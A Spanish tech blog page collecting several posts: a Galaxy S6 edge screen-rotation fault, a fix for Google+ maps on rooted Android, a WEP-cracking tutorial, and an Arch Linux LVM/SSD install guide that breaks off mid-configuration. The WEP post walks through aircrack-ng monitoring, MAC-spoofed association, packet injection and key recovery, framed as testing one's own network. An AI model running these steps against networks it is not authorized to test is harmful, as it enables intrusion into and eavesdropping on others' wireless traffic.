Categorías
Android Blog Seguridad Inormática Smartphone

Samsung Galaxy S6 edge problemas de rotación de pantalla

SM-G925FZKFPHE-30-0Saludos!

Voy a hablar sobre un problema de los nuevos Samsung Galaxy S6, concretamente la versión EDGE.

Parece que al cabo de pocos días de uso, pierden la capacidad de auto rotar la pantalla.

Es decir, que el samsung galaxy s6 edge podría tener problemas de rotación de pantalla y que se mantuviera en vertical cuando debe ponerse en horizontal.

El problema se especula que podría ser producido por la función de carga rápida de la batería y algún acelerómetro que dejase de funcionar por calentarse demasiado.

También se especula que pueda tratarse de un problema de software o una partida de acelerómetros defectuosos, pero si al final se trata de un problema de hardware y que este no pueda parchearse mediante una actualización de firmware, se trataría de un grave problema para el gigante SAMSUNG.

Fuentes:
http://forums.androidcentral.com/samsung-galaxy-s6-edge/513575-s6-edge-screen-rotation-does-not-work-properly.html
http://www.cnet.com/es/noticias/samsung-galaxy-s6-edge-presenta-problema-rotacion-algunos-usuarios/
http://www.droid-life.com/2015/04/15/galaxy-s6-edge-units-are-having-all-sorts-of-auto-rotate-issues/
https://community.verizonwireless.com/thread/857316?start=0&tstart=0
http://forum.xda-developers.com/galaxy-s6-edge/help/screen-rotation-issue-t3076690

Mantendré esta entrada actualizada … (Samsung Galaxy S6 edge problemas de rotación de pantalla)

23/04/2015 UPDATE: Samsung ha admitido que existe un problema en algunos Galaxy S6 edge, concretamente el portavoz de SAMSUNG ha dicho:

«Samsung is aware of an issue affecting screen rotation on a very limited number of Galaxy S6 Edge devices and a solution is already available. Owners who believe their device may be affected should call 1-800-SAMSUNG for support.»

Tendremos que leer con lupa las palabras de los técnicos de SAMSUNG, ya que apuntan que puede deberse a aplicaciones de terceros, cosa que no concuerda mucho con lo que algunos usuarios han posteado en forums.

29/04/2015 El acelerómetro: Dejadme que os explique muy a groso modo como funciona un acelerómetro en un smartphone y porque puede fallar.

Primero de todo decir que un acelerómetro no es mas que un sensor de los muchos que dispone nuestro smartphone y que un sensor es un dispositivo capaz de dar un respuesta eléctrica a un estímulo externo.
Es decir, que en el caso de un acelerómetro nos va a transformar el cambio de velocidad de nuestro smartphone en una señal eléctrica, que gracias a un registro va a ejecutar una acción.

Los acelerómetros normalmente están compuestos por dos láminas finas muy juntas y separadas por un material dieléctrico que según la distáncia entre ellas un condensador nos dará mas o menos carga eléctrica.

Por ejemplo si nuestro acelerómetro es 3d, algo muy probable en equipos de gama media, va a detectar la posición del smartphone y cambiar la pantalla a modo horizontal si así está orientado el teléfono.

Los equipos de gama media, ya incorporan la mayoría un giroscopio, que es otro sensor, que junto al acelerómetro, nos permite calcular la posición del smartphone en 6 ejes diferentes. Así pues, si algun eje del acelerómetro fallara, junto con el giroscópio se podría detectar si el terminal está en posición horizontal.

Esto nos deja entrever, que si el acelerómetro se ha roto, debido a una carga rápida, es posible hacer lo que se llama un work-around y seguir detectando cuando el teléfono está en posición horizontal, algo que mucho me temo, es lo que samsung hace en sus S6 edge que han frito el acelerómetro con la carga rápida.

Porque puede estropearse el acelerómetro con una carga rápida? Pues por el exceso de calor, al ser un elemento tan dedicado, hace que el calor pueda dilatar los componentes y provocar fallos.

Así que tendreis un teléfono con un sensor estropeado pero no lo detectareis si no mirais los registros del acelerómetro. Esto para un terminal de 50€ quizas tendría sentido, per por un de 800€ es en toda regla un robo y una estafa a los usuarios, así que si Samsung no se pone manos a la obra, las siguientes son mis conclusiones

29/04/2015 UPDATE: He econtrado esta entrada en el foro xda que un usuario dice que Samsung ha admitido que se trata de un error de hardware y le enviarán un repuesto.

CONCLUSIONES: Mi primera conclusión a día 29 de abril, es muy clara, de momento no compreis ningún Samsung S6 edge y si ya lo teneis, no useis la carga rápida, ya que puede freir el acelerómetro del terminal.

 

 

Categorías
Android Blog Seguridad Inormática Smartphone

Google+ Ubicación no muestra el mapa

Saludos!

Esta entrada la hago para los que tengan un teléfono con Android y lo tengan rooteado. Cada vez mas, es habitual, que los usuarios con smartphones rooteados tengan problemas con segun que aplicaciones, incluso aplicaciones propias de Google.

Este es el caso de Google+ con gestión de ubucaciones. Muchos ya sabreis que Google ha cancelado «Google latitude», que venía incluido con Google Maps. Lo que no sabreis quizas, es que Google sigue guardando las ubicaciones del teléfono y que esto es accesible desde Google Plus.

¿Cuál es el problema pues?
El problema radica en que en los equipos rooteados, las aplicaciones no vienen instaladas como aplicaciones del sistema, si no como aplicaciones y que como tal, se instalan en una ruta distinta a las aplicaciones del sistema.

Esto, que no debería ser mas problema, es fuente de algunos problemas, como por ejemplo la imágen que inicia esta entrada al Blog.

Todos podeis ver que en la imágen de la izquierda, se ven las ubicaciones, pero no se puede ver el mapa, cosa que hace de la aplicación Ubicaciones de Google+, algo muy poco útil. Esto se debe a que el terminal está rooteado y no encuentra el mapa para mostrar.

Para solucionar esto hay varios métodos, desde usar ADB, un File Manager, deshacer el root …. Pero el más fácil es usar una aplicación muy útil llamada Titanium Backup.

Para hacerlo instalamos la aplicación y despues de configurarla por primera vez, solo lo más básico, nos vamos a Copia y Backup y veremos una pantalla parecida a esta:

Ahí pulsamos encima de Google+ 4.0.2 ….. pero manteniendo pulsado y se nos abrirá un menú. En el menú veremos una opción, seguramente la última, que dice hacer app del sistema. Pulsamos en ella, esperamos y reiniciamos.

Ya tenemos Google+ como app del sistema y como tal, la opción de ubicaciones funciona correctamente. Solo debemos recordar volver a seguir esos pasos en la próxima instalación de una ROM, ya que si quemamos otra ROM, estamos borrando Google+

Atentamente,
Crashbit

PD: Con las nuevas GAPPS para Android 4.3 ya se ha solucionado el tema de los mapas. Actualmente (15/08/2013) también está en camino una actualización de Google+ que solucionaría este mismo problema.

Categorías
Blog GNU/Linux Informática Seguridad Inormática Sistemas Operativos

Crackear WEP (Petar clave wep , wifi … )

Saludos de nuevo a todos!

Primero de todo me gustaría empezar con un «disclaimer» para dejar claro cuál es el motivo de la publicación de este post. Empezaré por decir que todo lo que se ponga aquí es por el único motivo de poder mejorar y elejir la mejor protección para nuestra propia red inalámbrica (wifi).
En este artículo se tocaran cosas como la forma de conseguir una contraseña de una red wifi encriptada con clave WEP o WPA, por lo que me gustaría advertir de que hacer estas pruebas en redes ajenas o con motivos diferentes de los descritos podría llegar a ser ilegal o incluso suponer la comisión de un delito tipificado en el código penal Español o de sus respectivos países.

Primero de todo hablaré un poco de lo que son las redes Wifis y como funcionan, así como cuales son sus mecanismos de protección para hacerlas mas privadas.

Wifi: Wi-Fi es un sistema de envío de datos sobre redes computacionales que utiliza ondas de radio en lugar de cables, Existen diversos tipos de Wi-Fi, basado cada uno de ellos en un estándar IEEE 802.11 aprobado.
Un muy elevado porcentaje de redes son instaladas sin tener en consideración la seguridad convirtiendo así sus redes en redes abiertas (o muy vulnerables a los crackers), sin proteger la información que por ellas circulan.

Existen varias alternativas para garantizar la seguridad de estas redes. Las más comunes son:

  • Utilización de protocolos de cifrado de datos para los estándares Wi-Fi como el WEP y el WPA, que se encargan de codificar la información transmitida para proteger su confidencialidad, proporcionados por los propios dispositivos inalámbricos
  • WEP, cifra los datos en su red de forma que sólo el destinatario deseado pueda acceder a ellos. Los cifrados de 64 y 128 bits son dos niveles de seguridad WEP. WEP codifica los datos mediante una “clave” de cifrado antes de enviarlo al aire.
  • WPA: presenta mejoras como generación dinámica de la clave de acceso. Las claves se insertan como de dígitos alfanuméricos, sin restricción de longitud
  • IPSEC (túneles IP) en el caso de las VPN y el conjunto de estándares IEEE 802.1X, que permite la autenticación y autorización de usuarios.
  • Filtrado de MAC, de manera que sólo se permite acceso a la red a aquellos dispositivos autorizados.
  • Ocultación del punto de acceso: se puede ocultar el punto de acceso (Router) de manera que sea invisible a otros usuarios.
  • El protocolo de seguridad llamado WPA2 (estándar 802.11i), que es una mejora relativa a WPA. En principio es el protocolo de seguridad más seguro para Wi-Fi en este momento. Sin embargo requieren hardware y software compatibles, ya que los antiguos no lo son.

 

Sin embargo, no existe ninguna alternativa totalmente fiable, ya que todas ellas son susceptibles de ser vulneradas.

Vamos al protocolo que nos interesa WEP:
WEP, acrónimo de Wired Equivalent Privacy o «Privacidad Equivalente a Cableado», es el sistema de cifrado incluido en el estándar IEEE 802.11 como protocolo para redes Wireless que permite cifrar la información que se transmite. Proporciona un cifrado a nivel 2, basado en el algoritmo de cifrado RC4 que utiliza claves de 64 bits (40 bits más 24 bits del vector de iniciación IV) o de 128 bits (104 bits más 24 bits del IV).

El principal problema de las claves WEP radica en que no implementa adecuadamente el vector de iniciación del algoritmo RC4, ya que utiliza un enfoque directo y predecible para incrementar el vector de un paquete a otro. Además existe un problema con el tamaño de los vectores de iniciación. A pesar de que se pueden generar muchos vectores, la cantidad de tramas que pasan a través de un punto de acceso es muy grande, lo que hace que rápidamente se encuentren dos mensajes con el mismo vector de iniciación. Conociendo los IV utilizados repetidamente y aplicando técnicas relativamente simples de descifrado puede finalmente vulnerarse la seguridad implementada. Aumentar los tamaños de las claves de cifrado aumenta el tiempo necesario para romperlo, pero no resulta imposible el descifrado.

Ahora que ya sabemos la parte teórica (Gracias Wikipedia), pasamos a la acción y pongámonos manos a la obra para conseguir rebentar nuestra propia Wifi con clave WEP y así sabremos hasta que punto somos vulnerables a un atacante malicioso …
Algunos, sobre todo los Windoseros me direis … ¿ Y qué, que pasa si alguien usa nuestra Wifi ? ¿ Que nos va mas lenta ? Pues señor windosero … que gracia le haría a usted, que se conecta a su banco, escribe su password y usuario de los correos, entra en webs de porno y vete a saber que cosas mas hace, que alguien haya puesto su equipo en modo «promiscuo» y todo lo que haga, TODO, pase antes por su equipo, lo loguee y luego lo analize … benditas finanzas tendrá … el atacante, claro!

Bien … ¿ que necesitamos ?


[email protected]:~$ sudo aptitude install kismet aircrac

Con estas dos herraminetas hay suficiente para poder atacar correctamente.
Lo primero que tenemos que hacer es poner nuestra targeta de RED en modo monitor, pero antes tenemos que asegurarnos de que podemos hacer esto y tenemos un modulo adecuado para poder inyectar (Ya que será uno de los ataques que mas adelante haremos)
Para saber que targeta de red tenemos podemos poner un simple

[email protected]:~$ lspci | grep -i wireless

En nuestro caso nos dice que tenemos una targeta Intel Pro Wireless con el chipset iwl3945. Así que para inyectar usaremos el modulo (driver) ipwraw. Para hacer esto lo haremos de esta forma:


[email protected]:~$ sudo modprobe -r iwl3945 && sudo modprobe ipwraw

Ahora ya tenemos el módulo con inyección

Primero empezamos con

kismet:

Como todo buen atacante, el malo que quiera comprometer nuestra red, lo primero que hará será espiarnos … y aquí es donde entra en juego kismet
Kismet es un sniffer, un husmeador de paquetes, y un sistema de detección de intrusiones para redes inalámbricas 802.11. Kismet funciona con cualquier tarjeta inalámbrica que soporte el modo de monitorización raw, y puede rastrear tráfico 802.11b, 802.11a y 802.11g. El programa corre bajo Linux, FreeBSD, NetBSD, OpenBSD, y Mac OS X. El cliente puede también funcionar en Windows, aunque la única fuente entrante de paquetes compatible es otra sonda.
Kismet se diferencia de otros porque no envía paquetes, es decir, que es muy difícil de detectar para la pobre víctima (nosotros).
Para usar correctamente kismet te recomiendo que googlees un poco y piensa, que aunque no lo parezca a simple vista, este programa espía puede dar mucha información ….

Como que aun no nos manejamos bien con kismet usaremos otro, se llama airodump y viene dentro del paquete aircrack-ng que ya tenemos instalado, así que lo único que haremos será lanzarlo en consola.


[email protected]:~$ sudo airodump-ng wifi0

Siendo wifi0 el nombre de la interficie de red que podemos saber con un simple «iwconfig».

Airodump-ng se usa para capturar paquetes wireless 802.11 y es útil para ir acumulando vectores de inicialización IVs con el fin de intentar usarlos con aircrack-ng y obtener la clave WEP. Si tienes un receptor GPS conectado al ordenador, airodump-ng es capaz de mostrar las coordenadas de los puntos de acceso que vaya encontrando.

Ya con esto podemos ver un poco la red que queremos atacar, y lo que nos interesa es el ESSID y el CANAL, así que lo apuntamos.

Luego usaremos un script que he creado para poder inyectar tráfico, este script que te lo puedes descargar de aquí al que llamo junkie.sh. Como podemos ver nos pedirá canal, ESSID y rate, siendo este último normalmente entre 1 o 2. Esto lo que hace es apuntar a la web que euremos auditar.


[email protected]:~$ sudo ./junkie.sh

ok, ya casi estamos listos… ahora ya empezamos la acción … primero de todo empezaremos a capturar el tráfico de nuestro objectivo


[email protected]:~$ sudo airodump-ng -c channel -w ESSID wifi0

Siendo channel, el canal de la red que queremos auditar y ESSID, el nombre de dicha red, por ejemplo podría ser algo como
«sudo airodump-ng -c 9 -w WLAN9C wifi0»
Y dejamos esta consola capturando datos sin parar …

Abrimos otra consola y empezamos como es el hecho de asociarnos al AP (Router Wifi) para poder inyectar


[email protected]:~$ sudo aireplay-ng -1 0 -e WLAN9C -a 00:1A:2B:02:69:4A -h 00:1B:77:02:21:37 wifi0

Aquí podemos ver dos numeros de MAC’s, que son ? Son los números que identifican al router y a la tarjeta de red de nuestro PC (Atacante), así tenemos que la MAC del router wifi es la 00:1A:2B:02:69:4A y la de nuestro equipo nos la inventamos y ponemos por ejemplo 00:1B:77:02:21:37

Ahora tendremos que ver el típico mensage de Association Succefull! Si es así es que el junkie.sh ha hecho su función … si no, puede deberse a varios motivos … como que estamos demasiado lejos del AP o que tiene el ESSID escondido o un filtrado por MAC, todas ellas se pueden subsanar leyendo un poco mas.

Finalmente, ahora que ya estamos asociados empezamos a inyectar tráfico para que se generen la famosos IVs que tanto nos interesan para que aircrack pueda petar la clave.


[email protected]:~$ sudo aireplay-ng -3 -b 00:1A:2B:02:69:4A -h 00:1B:77:02:21:37 wifi0

El número -3 es el tipo de ataque, podemos hacer varios, pero este nos servirá, si quieres mas ayuda man aireplay y listo.

Ahora solo nos queda esperar que suban los IVs, que seguramente veremos en el apartado #DATA de la otra consola …
Tened en cuanta que los beacoms son simples PINGS que se envian los dos aparatos para saber que estan enlazados, nada mas, así que no son estos los que tienen que subir, son los DATA, así que paciencia y cuando tengas cerca de 50000 … usas aircrack para petar.


[email protected]:~$ aircrack fichero.cap

Siendo «fichero.cap» el fichero que el airodump va generando con los paquetes capturados!

Saludos!

Categorías
ArchLinux Blog GNU/Linux Informática Seguridad Inormática Sistemas Operativos

Instalar Archlinux en dispositivo SSD con LVM y Gnome-Shell

Saludos!

Otra entrada, en este caso voy a hablar de Archlinux, una distro bastante conocida últimamente, y que la verdad, desde sus inicios me ha gustado ya que sigue una filosofía llamada KISS.

Qué es KISS?
KISS, son las siglas de Keep It Simple Stupid, y eso en una distro de hoy en día es difícil de encontrar. Además lo de simple, no se refiere en que sea fácil, si así fuera sus siglas serían KIES, que no se a que me recuerda, y significaría Keep It Easy Stupid. Quizás esta última podríamos usarla en distribuciones tipo Ubuntu, pero en Arch, es todo bastante diferente.

Así pues, a que se refiere con simple?
Se refiere a que el Sistema Operativo hace lo que debe hacer y nada mas, algo que me recuerda bastante a la filosofía UNIX que decía:
Haz una cosa, hazla bien.

Vamos a explicar como instalar Archlinux,
Primero de todo decir que la instalación no es fácil, no hay entorno gráfico y tenemos que estar atentos a cosas que en otras distribuciones no tenemos que pensar, ya que el instalador lo hace por nosotros o bien nos advierte de problemas y los corrige automáticamente.
Debo advertir también que vamos a instalar el sistema de un modo peculiar, no usaremos particiones, si no que usaremos volúmenes lógicos con LVM en un dispositivo SSD y que como entorno instalaría Gnome Shell, pudiendo instalar cualquier otro, ya que como veremos la instalación no hace nada, si no decimos nosotros que lo haga.

Antes de empezar
Recomiendo encarecidamente que antes de empezar tengamos en cuenta algo importante en el particionado y la creación de volúmenes lógicos, ya que si no lo hacemos bien, es probable que una vez instalado todo el sistema no podamos instalar el GRUB, con lo que tendr?mos un problema y grande.
Dijiste particionado?
Pero no habíamos dicho que usaríamos LVM?

Así es, pero debe crearse una partición que englobe todo el disco, donde a?diremos los volúmenes lógicos en su interior.

Otra cosa que tenemos que hace es bajar la imagen iso y grabarla en un USB o un CD, recomiendo la primera opción por una cuestión de coste. Para bajar la im?en debemos seleccionar el mirror que mas nos interese y bajar la imagen iso con nombre archlinux-xxxx-xx-xx-dual.iso, siendo las x el número de versión que nos salga. Para grabarla en el USB hay varios modos, pero recomiendo el modo que a continuación explicaremos.

Primer paso, hacer el USB bootable para poder arrancar como liveusb

Una vez tengamos nuestra im?en de Archlinux lo que debemos hacer es insertar el USB y esperar que el sistema lo detecte. Una vez detectado debemos averiguar que nombre de dispositivo le ha dado el sistema, esto se puede saber con la siguiente orden:

# dmesg | tail -f

A continuación os dejo una captura de pantalla con el resultado de mi orden, que como podemos ver es el dispositivo sdb y que este tiene dos particiones, sdb1 y sdb2

 

 

Ahora toca grabar la imagen que nos hemos descargado, debo advertir que este paso es peligroso, que deben ponerse bien los nombres de dispositivo, ya que si no, se puede inutilizar todo el disco y que este no sea recuperable de ningún modo.

Vayamos al grano,

# sudo dd bs=4M if=/home/crashbit/archlinux-xxxx-xx-xx-dual.iso of=/dev/sdb
# sync; sync

Fijaros que he puesto sdb y no sdb1 ni sdb2, ya que lo que hacemos con dd es copiar toda la imagen, incluso con la estructura interna de esta y eso engloba el arranque, Así que debemos asegurarnos de usar bien el nombre de dispositivo y veremos que al cabo de un rato ya se habrá copiado todo al dispositivo USB.

Ahora ye tenemos el USB con la imagen de Archlinux instalada y bootable, así que lo que tenemos que hacer es reiniciar con el USB conectado.

Segundo paso, arrancar con el USB

Si tenemos un PC moderno, lo mas probable es que al reiniciar con el USB conectado nos advierta de que hay un USB bootable y nos permita arrancar con él, si no fuera así, seguramente es porque no teneis la BIOS correctamente configurada para arrancar por USB o bien requiera la pulsación de alguna tecla tipo F2 o F10 para cambiar la secuencia de arranque. Si aun así no hay forma de arrancar el USB, asegurate de que este se ha grabado correctamente, es decir, que no hay una imagen iso en él, si no toda la estructura interna de la imagen.

Una vez arranquemos deberemos observar una pantalla parecida a esta:

 

 

 

 

 

 

 

 

 

Y a continuación mirar que arrancamos un sistema Archlinux a 64 bits y que nos sale una shell como usuario root. Todo esto lo podemos mirar con los siguientes comandos:

# whoami
#uname -a

Tercer paso, configurar el entorno de instalación

Aquí ya empezamos con el instalador. Muchos pensarán, vale ahora toca lanzar el instalador con /arch/setup y no saldrá un menú ncurses donde vamos a definir los parámetros de instalación. Pues NO! No hay menú ncurses ni nada parecido, nos va a tocar poner los comandos de forma manual. Pero no os asusteis, Archlinux posee unos patentes comandos, muy fáciles de usar, que nos permitirán instalar el sistema de forma simple.

Lo primero que debemos hacer es configurar el teclado, ya que podemos observar que el teclado del instalador está por defecto a un teclado americano, con lo que los símbolos «:;<>, no son fáciles de encontrar. Recordad, que vamos a cambiar el idioma del teclado y las locales del sistema de instalación, no del sistema que vamos a instalar, con lo que luego deberemos volver a realizar esos cambios en el sistema que instalemos.
Esto se hace con los comandos que pongo a continucación, una vez dentro del fichero /etc/locale.gen, tenemos que quitar el símbolo # de la localización que nos interesa, en nuestro caso de la es_ES.UTF-8 UTF-8.

# loadkeys es
# nano /etc/locale.gen
-------------------------
es_ES.UTF-8 UTF-8

Para salir del editor pulsamos Ctrl+o y luego enter y luego Ctrl+x

Bien, ahora toca regenerar las locales y cargarlas con el siguiente comando:

# locale-gen
# export LANG=es_ES.UTF-8

Cuarto paso, particionar disco y crear volúmenes lógicos

Ahora vamos a definir la estructura del disco, en mi caso voy a instalar Archlinux en un dispositivo SSD, donde habrá una partición que ocupará todo el disco y será de tipo LVM_member, un grupo de volúmen que llamaré galaxy y luego voy a crear tres volúmenes lógicos que llamaré alpha, beta y gamma respectivamente.


En esta imagen podemos ver la estructura de particiones y de vólumenes lógicos.

 

Quiero recordar que este paso es de suma importancia y que es muy importante que la partición donde colocaremos los volúmenes lógicos empiecen a partir del sector 2048, no el 63, ya que si no, no podriamos instalar el GRUB2 por falta de espacio  y no podríamos arrancar el sistema ya instalado.
Para crear la partición podemos usar muchas herramientas, pero cuidado con cfdisk, ya que este solo deja 63 sectores libres al inicio de la primera partición por defecto, cosa que luego nos puedo traer problemas tal y como he mencionado.

En mi caso usaré fdisk entraré en el disco donde deseo instalar Archlinux, siendo /dev/sda en el ejemplo:

# fdisk /dev/sda

Una vez dentro, vamos a crear la partición con los comandos que se pueden observar en la siguiente imágen:

En esta imagen podemos observar que creamos una partición con el comando «n», luego le damos a enter para aceptar los parámetros que salen por defecto, cambiamos la etiqueta del tipo de partición y finalmente comprovamos que se ha creado correctamente y con «w» guardamos y escribimos los datos al disco.

 

 

 

Ya tenemos la partición creada, ahora toca crear los grupos de volúmenes y los volúmenes lógicos. Esto se hará de la forma que indicamos a continuación, teniendo en cuenta modificar los tamaños de los vólumenes, teniendo en cuenta los siguiente:

  • alpha, será la partición raíz del sistema y le daré 16GB
  • beta, será la partición home de nuestro sistema y le daré todo el espacio sobrante despues de alpha y gamma
  • gamma, será la partición para swap y le daremos 5GB.

Bién, hagámoslo con los siguientes comandos:

# pvcreate -dataalignment 1m /dev/sda1
# vgcreate galaxy /dev/sda1
# lvcreate -L 16G galaxy -n alpha
# lvcreate -C y -L 5G galaxy -n gamma
# lvcreate -l +100%FREE galaxy -n home
# lsblk

Con los comandos pvcreate y vgcreate creamos los volúmenes y con el último comando deberíamos poder observar una estructura idéntica a la foto de inicio de este cuarto paso.

De acuerdo, tenemos los vólumenes, ¿ahora que toca? Pues fácil, solo formatear, cargar la memoria swap y montar los volúmenes lógicos en los directorios que usaremos para la instalación.

# mkfs.ext4 /dev/mapper/galaxy-alpha
# mkfs.ext4 /dev/mapper/galaxy-beta
# mkswap /dev/mapper/galaxy-gamma
# swapon /dev/mapper/galaxy-gamma
# mount -o noatime,discard /dev/mapper/galaxy-alpha /mnt
# mkdir /mnt/home
# mount -o noatime,discard /dev/mapper/galaxy-beta /mnt/home

Como apunte podemos observar que los volúmenes se crean dentro de /dev/mapper/galaxy, seguidos de un guíon «-» y luego el nombre del volúmen lógico.

Pues bién, ahora si, tenemos ya el contenedor donde vamos a instalar el sistema, vayamos ahora a otros temas.

Quinto paso, activación de la wifi y seleccionar el mirror e instalar sistema

En mi PC uso una wifi intel, que por defecto es detectada, lo primero que hago es lanzar el siguiente comando para ver si ha sido detectada y que nombre le asigna el sistema, que recordemos que no suelen ser los típicos wlan o eth de otras distros.

# iw dev
phy#0
Interface wlp2s0
ifindex 2
wdev 0x1
addr 8W:5X:2e:aX:c1:2X
type managed
channel 11 (2462 MHz), width: 20 MHz, center1: 2462 MHz

En mi caso queda claro que detecta la interface wifi wlp2s0, la cual levantamos con el siguiente comando:

# ip link set wlp2s0 up

En teoría, si no necesitamos firmware especial, no deberíamos tener problemas y esto debería levantar el interfaz sin dar ningún mensage de error.
A continuación vamos a conectar a nuestro ESSID wifi con un programa que viene por defecto en el instalador que se llama wifi-menu, que lanzaremos de este modo:

# wifi-menu wlp2s0

Seleccionamos nuestro ESSID, ponemos el password y esperamos que nos devuelva el símbolo del sistema. Este paso puede tardar un rato.

Ahora vamos a seleccionar el mirror de pacman para que pueda descargar los paquetes. Recomiendo borrar todo el fichero /etc/pacman.d/mirrorlist y dejar solo esta linea:

# nano /etc/pacman.d/mirrorlist
-------------------------------
Server = http://mir.archlinux.fr/$repo/os/$arch

Muy bien, hasta aquí todo bien, así que ahora toca instalar con pacman los paquetes base de Archlinux. ¿Y dondo los instalaremos? Pues en /mnt, que en realidad será en /dev/mapper/galaxy-alpha, que hemos montado el volúmen lógico en este directorio.
¿Como haremos esto? Pues de forma muy fácil, así:

# pacstrap -i /mnt base

Con este sencillo y simple comando instalaremos todo el sistema base de Archlinux donde le indicamos.

Sexto paso, entrar al entorno instalado y configurarlo

Hasta aquí todo lo que hemos hecho ha sido desde el entorno de instalación, pero ahora ya tenemos todos los ficheros del sistema base instalados en el directorio /mnt, así que ya podemos empezar a retocar algunas cosillas de dentro de este directorio y que en realidad serán configuraciones de nuestro sistema.

Pero antes de entrar de pleno en el asunto, deberíamos crear un fichero fstab dentro del sistema instalado, recordemos, no un fstab del liveusb, que se encuentra en /etc/fstab, si no un fstab del sistema instalado en el disco, que está en /mnt/etc/fstab. Esto lo haremos con este comando:

# genfstab -U -p /mnt >> /mnt/etc/fstab
# nano /mnt/etc/fstab

Con el último comando revisamos que el fstab esté correcto, especialmete que los discos ext4 tengan las opciones noatime y discard

Ahora sí, ya podemos entrar de cabeza al entorno instalado, lo que se llama hacer un chroot. Archlinux dispone a todos nosotros un herramienta muy sencilla que hará el chroot con todo lo necesario, esto se hace de la siguiente forma:

# arch-chroot /mnt

Como podemos observar ha cambiado el prompt del sistema y el directorio raíz ha pasado a ser el directorio /mnt, así que ahora nuestro linux cree que estamos dentro del sistema instalado sin tener que reiniciar.

Bien, ahora debemos configurar el teclado, las locales, las variables de entorno, la consola, la zona horaria, los módulos … y todo esto lo haremos del siguiente modo:

# loadkeys es
# nano /etc/locale.gen
----------------------------------
es_ES.UTF-8 UTF-8
----------------------------------
# locale-gen
# echo LANG=es_ES.UTF-8 > /etc/locale.conf
# export LANG=es_ES.UTF-8
# nano /etc/vconsole.conf
----------------------------------
KEYMAP=es
----------------------------------
# ln -s /usr/share/zoneinfo/Europe/Madrid /etc/localtime
# hwclock --systohc --utc
# echo nombre-mi-equipo > /etc/hostname
# pacman -S iw wpa_supplicant wpa_actiond dialog

Hasta aquí hemos configurado diferentes opciones del SO, sobre la wifi no voy a especificar como se instala, ya que una vez instalemos Gnome, ya será el network-manager quien la vaya a gestionar. Pero lo que si he instalado son ficheros necesarios para poder conectar por wpa.

Séptimo paso, configuraciones LVM y SSD

Bién, estamos usando un dispositivo SSD con volúmenes lógicos LVM, creo realmente que el sistema debería saberlo, así que se lo vamos a decir.

Primero nos encargamos de decirle al sistema que usamos LVM y esto se hace añadiendo en el fichero /etc/mkinitcpio.conf LVM2 en el apartado HOOKS, pero no en cualquier sitio, si no entre las etiquetas block y filesystems. Debiendo quedar el fichero parecido a esto:

# nano /etc/mkinitcpio.conf
------------------------------------
HOOKS="base udev ....... block lvm2 filesystems"
------------------------------------
# mkinitcpio -p linux

Ya se ha regenerado el disco RAM para iniciar linux, con el módulo LVM. Puede que el último comando nos devuelva un par de WARNINGS, pero son solo eso, avisos.

Ahora vamos a adentrarnos en la estructura de un dispositivo SSD, en nuestro caso debemos indicar a las diversas capas del sistema que estamos usando un SSD.

 

Activar TRIM en la capa LVM

# nano /etc/lvm/lvm.conf
--------------------------------------
# [...]
devices
# [...]
issue_discards = 1
# [...]
}
# [...]

Es decir, editamos el fichero /etc/lvm/lvm.conf y quitamos el símbolo de comentario #, que hay delante la linea issue_discards, con esto, ya tenemos el LVM configurado para un dispositivo de estado sólido.

Actvar TRIM en la capa de sistema de ficheros
En este caso, es solo cuestión de mirar si en el fstab tenemos las opciones discard, de ser así, ya tenemos TRIM en la capa del filesystem.

Octavo paso, gestor de arranque, crear password de root y finalizar la instalación

Este último paso, es el que siempre me ha dado mas miedo, no por peligroso, si no porque si no funciona se puede deber a que no se ha hecho correctamente algo importante y que para arreglarlo debamos eliminar las particiones, cosa que realmente sería un problema a estas altura de la configuración.

Bién, como gestor de arranque instalaremos GRUB, en su última versión 2.

# pacman -S grub
# grub-install /dev/sda

Si todo ha ido bién, ya tenemos el GRUB instalado en el MBR de arranque del dispositivo SSD que se encuentra en /dev/sda, si hay algún fallo, recomiendo leer la guía básica de GRUB y entender como funciona este gestor para poder solventar el problema.

Para crear el password para el usuario root solo debemos teclear el siguiente comando:

# passwd

Y tenemos todo instalado y configurado, ahora saldremos del entorno chroot y desmontaremos los volúmenes lógicos de la siguiente forma:

# exit
# umount /mnt/home
# umount /mnt

Ya tenemos el sistema base instalado, ahora toca reiniciar, recordad sacar el USB una vez reiniciado para no volver a entra con él, para reiniciar tecleamos reboot y listo!

Noveno paso, nuestro sistema y el entorno gráfico

Sí, si hemos hecho bien las cosas, tras el reinicio arrancaremos nuestro sistema base de Archlinux, nos pedirá el password de root, lo tecleamos y ya tenemos shell, ya estamos en nuestro sistema.
Como os podeis dar cuenta, es un sistema base, sin absolutamente nada, solo las herramientas básicas, pero uy! ¿No tenemos internet? No hay problema, tenemos que hacer lo mismo que durante la instalación, mirar el nombre del dispositivo de red, asegurarse que está levantada y de ser así, lanzar el wifi-menu.

# iw dev
# ip link set wlp2s0 up
# wifi-menu wlp2s0
#

Ahora vamos a asegurarnos que nuestro sistema está totalmente actualizado, para hacerlo vamos a usar pacman, del siguiente modo:

# pacman -Syu

Ahora vamos a instalar y configurar algunas herramientas básicas del sistema:

# pacman -S sudo htop vim
# visudo
-----------------------
%wheel ALL=(ALL) ALL
-----------------------

Con esto lo que hacemos es decirle que los usuarios que creemos y que sean del grupo wheel, podrán hacer uso de sudo, con lo cual, podremos usarlos con poderes de root e incluso desactivar el usuario root.

Así pues, vamos a crear los usuarios, en mi caso creo un usuario llamado crashbit:

# useradd -m -g users -G wheel -s /bin/bash crashbit
# passwd crashbit
# exit

Listo! Ahora hemos salimdo y vuelto a entrar con nuestro usuario, que como podemos observa ya puede hacer cosas como sudo pacman -Syu, entre otras. Bién! Bién! Pero, ¿Y el entorno gráfico?

# sudo pacman -S xorg-server xorg-server-utils xorg-init gdm gnome-shell xf86-input-synaptics

Así es Archlinux, con esta orden instalamos todo el sistema, eso si, sin configurar muchas cosas, por ejemplo, una vez instalado, decidimos reiniciar para ver que todo arranca bien, pero mmmmm, no arranca en entorno gráfico. Elemental, como dije al inicio del artículo Arch no hace cosas por si solo, se lo debes decir tu, así pues instalaste el gestor de entrada al entorno gráfico GDM, y está y funciona, pero Arch, no lo carga si no se lo dices.

Vamos a decirle que lo arranque, ya que básicamente en este equipo de escritorio usaré el entorno gráfico para trabajar. De acuerdo, pero no sin antes arreglar un tema de teclado en GNOME.

Resulta que si iniciamos GNOME nos saldrá el teclado en inglés, pues vamos a arreglarlo editando el fichero /etc/X11/xorg.conf.d/10-evdev.conf

# sudo vim /etc/X11/xorg.conf/10-evdev.conf
-------------------------------
Section "InputClass"
Identifier "evdev keyboard catchall"
MatchIsKeyboard "on"
